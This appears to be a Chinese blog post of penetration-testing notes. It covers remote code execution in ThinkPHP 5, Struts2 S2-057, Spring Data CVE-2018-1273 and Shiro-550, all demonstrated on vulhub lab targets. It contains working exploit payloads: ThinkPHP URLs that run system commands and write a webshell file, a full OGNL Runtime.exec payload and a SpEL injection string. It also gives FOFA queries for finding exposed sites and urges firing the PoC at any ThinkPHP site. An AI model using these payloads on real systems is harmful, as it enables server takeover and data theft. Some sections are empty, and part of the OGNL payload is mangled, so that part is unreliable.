Thinkphp(TP)
简介
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。TP(2-6)(5-目前使用率较高的)Thinkphp5x远程命令执行及getshell
-------------------------
环境配置
kali: 192.168.56.134
靶场:vulhub/thinkphp/5-rce
-------------------------
漏洞利用
漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
------------------------
远程命令执
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
远程代码执行
POC:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
getshell
POC:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>2.php
Thinkphp被曝很多漏洞,截至目前位置3x -- 6x的各个版本都被爆有大量漏洞,遇到TP的站直接打poc就可以了;
-------------------------------
fofa
body=''V5.0.7" && title='System error'
body='ThinkPHP V5"
icon hash="1165838194"
--------------------------------
struts2
控制器 ---通过软件代码控制模型和视图之间的交互。
视图 --- 这部分是负责向用户呈现全部或部分数据,
Struts2 在2007年7月23日发布的第一个Struts 2漏洞S2-001。
Struts2漏洞是一个远程命令执行漏洞和开放重定向漏洞。利用漏洞,黑客可发起远程攻击不但可以窃取网站数据信息,甚至还可取得网站服务器控制权。而且,目前针对此漏洞的自动化工具开始出现,攻击者无需具备与漏洞相关的专业知识即可侵入服务器,直接执行命令操作,盗取数据甚至进行毁灭性操作。
OGNL表达式
OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$z这三个符号的使用:
#:获得contest中的数据
%:强制字符串解析成OGNL表达式;
$:在配置文件中可以使用OGNL表达式。
------------------------------------------
判断Struts2框架
1.通过网页后缀来判断,如.do .action,有可能不准。
2.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
3.通过 actionErrors,要求是对应的 Action 需要继承自 ActionSupport 类
a.如原始 URL为 https://threathunter.org/则检测所用的 URL 为https://threathunter.org/?actionErrors=1111;
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
页面直接出现 404 或者 500 等错误。
页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上,
页面的内容结构发生了明显的改变
页面发生了重定向。
.................................................................
S2-057远程执行代码漏洞
环境
kali
vulhub靶场 /struts2/s2-057
漏洞简介
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
alwaysSelectFullNamespace 正确-操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。
漏洞利用
访问靶场地址:http://192.168.56.134:8080/struts2-showcase
在url处输入 http://192.168.56.134:8080/struts2-showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了
将上面验证payload的值修改为我们的利用exp
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
----------------------------
Spring
简介
Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring ExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
------
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个SpringCVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。
SpEL是什么?
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
------
SpEL原理如下:
1.表达式:可以认为就是传入的字符串内容;
2.解析器:将字符串解析为表达式内容;
3.上下文:表达式对象执行的环境;
4.根对象和活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。
Spring框架特征看web应用程序的ico小图标,是一个小绿叶子
--------------------------
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
环境
kali vulhub
靶场 /spring/CVE-2017-8046
---------------------------------
spring 代码执⾏ (CVE-2018-1273)
漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。
影响版本
漏洞利用
访问靶场地址:http://192.168.56.134:8080/users
填写注册信息,bp抓包:
加上 poc :
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/zcc")]=&password=&repeatedPassword=
![](https://i-blog.csdnimg.cn/direct/da6a6ee74ab94fdb8e13b90d35e55388.png)
反弹shell
![](https://i-blog.csdnimg.cn/direct/a0947c4b743c4f0496458626e07222d3.png)
![](https://i-blog.csdnimg.cn/direct/23f2678064894aa2a89b5447270f4685.png)
----------------------------------
Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理
影响版本
环境
搭建环境打开并抓包,在请求包中的cookie字段中添加 rememberMe=123;,看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架
利用工具shiro反序列化工具,爆破成功证明漏洞存在
在命令执行中输入whoami执行成功